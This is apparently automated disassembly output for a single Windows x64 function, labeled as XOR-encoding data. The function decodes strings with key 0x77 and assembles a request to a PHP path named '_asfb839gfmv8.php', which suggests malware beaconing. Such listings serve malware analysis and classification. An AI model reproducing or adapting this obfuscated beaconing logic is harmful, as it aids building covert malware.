Function at 0x140004760
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x140088338]
add rax, 0x7d0
mov ebx, socket
je 0x140004860
lea rdx, [0x140087f40]
lea ecx, [rbx - 0x13]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x1400047d0
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov ecx, dword [rax + 0x70]
mov dword [rdx + 0x70], ecx
jmp 0x140004880
xor edx, edx
mov r8d, 0x1f4
lea rcx, [0x140087f40]
call fcn.14003e230
call fcn.140041ebc
mov dword [rax], ebx
call fcn.140042fa0
lea r8, [0x140087f40]
mov edx, 0x1f4
lea rbx, [0x140087b50]
mov rcx, rbx
call fcn.140043038
lea r8, [0x140078c04]
mov edx, 0x1f4
mov rcx, rbx
call fcn.140043100
lea r8, [0x140088140]
mov edx, 0x1f4
mov rcx, rbx
call fcn.140043100
lea rcx, [rbp + 0x20]
call fcn.140005a20
nop
mov r8d, select
lea rdx, str._asfb839gfmv8.php
mov rcx, rax
call fcn.140005940
xor r12d, r12d
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], select
mov byte [rax], r12b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000494a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004945
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005109
call fcn.14003ba0c
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], select
mov byte [rbp + 0x20], 0
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], r12w
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x140004980
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1400023b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x80]
call fcn.14000fff0
nop
lea r8, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x30]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140010580
nop
lea rcx, [rbp + 0x80]
call fcn.14000ff00
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140004a5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000510f
call fcn.14003ba0c
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], r12w
lea rbx, [0x140088400]
mov rdx, rbx
lea rcx, [rbp]
call fcn.1400022b0
mov rdx, r12
cmp qword [0x140088410], rdx
jbe 0x140004ac6
mov rax, rbx
cmp qword [0x140088418], 0x10
cmovae rax, qword [0x140088400]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
movzx eax, byte [rax + rdx]
xor al, 0x77
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [0x140088410]
jb 0x140004a90
lea rbx, [0x140088420]
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1400022b0
mov rdx, r12
cmp qword [0x140088430], rdx
jbe 0x140004b1b
mov rax, rbx
cmp qword [0x140088438], 0x10
cmovae rax, qword [0x140088420]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
movzx eax, byte [rax + rdx]
xor al, 0x77
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [0x140088430]
jb 0x140004ae5
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], select
mov byte [rbp - 0x80], 0
lea rdx, [0x1400878a0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140004b40
lea rcx, [rbp - 0x80]
call fcn.140002550
nop
mov r14, qword [rbp + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x140005115
lea r15, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r15, qword [rbp]
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
lea rsi, [r14 + 1]
mov ebx, select
lea rdi, [rbp - 0x60]
cmp rsi, rbx
jbe 0x140004c12
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004baf
mov rbx, rcx
jmp 0x140004bbc
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, r13
cmp rcx, 0x1000
jb 0x140004bfc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000511b
mov rcx, rax
call fcn.14003b9d0
test rax, rax
je 0x140005121
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004c0e
test rcx, rcx
je 0x140004c0b
call fcn.14003b9d0
mov rdi, rax
jmp 0x140004c0e
mov rdi, r12
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call fcn.14003dae0
mov byte [rdi + r14], 0x3d
mov byte [rdi + rsi], 0
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.140005d80
nop
mov r8d, 1
lea rdx, [0x140078bec]
lea rcx, [rbp - 0x40]
call fcn.140005940
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], select
mov byte [rax], 0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rsp + 0x60]
call fcn.140005940
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], select
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x140078be8]
lea rcx, [rsp + 0x40]
call fcn.140005940
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], select
mov byte [rax], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rsp + 0x20]
call fcn.140005940
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], select
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140004d9c
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005127
call fcn.14003ba0c
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], select
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140004dec
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004de7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000512d
call fcn.14003ba0c
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], select
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140004e3c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005133
call fcn.14003ba0c
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], select
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140004e8a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005139
call fcn.14003ba0c
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], select
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140004ed6
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000513f
call fcn.14003ba0c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140004f11
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005145
call fcn.14003ba0c
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r9, qword [rbp + 0x60]
lea rdx, [0x140084cf8]
cmp qword [0x140084d10], 0x10
cmovae rdx, qword [0x140084cf8]
lea r8, [rbp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f70
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140004f7f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000514b
call fcn.14003ba0c
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140004fba
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005151
call fcn.14003ba0c
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], select
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140005005
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005000
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005157
call fcn.14003ba0c
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], select
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140005050
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000504b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000515d
call fcn.14003ba0c
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], select
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14000509c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005096
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005163
call fcn.14003ba0c
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400050d3
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005103
call fcn.14003ba0c
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14003b9b0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.1400019c0
int3
call fcn.140001920
int3
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
int3
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
int3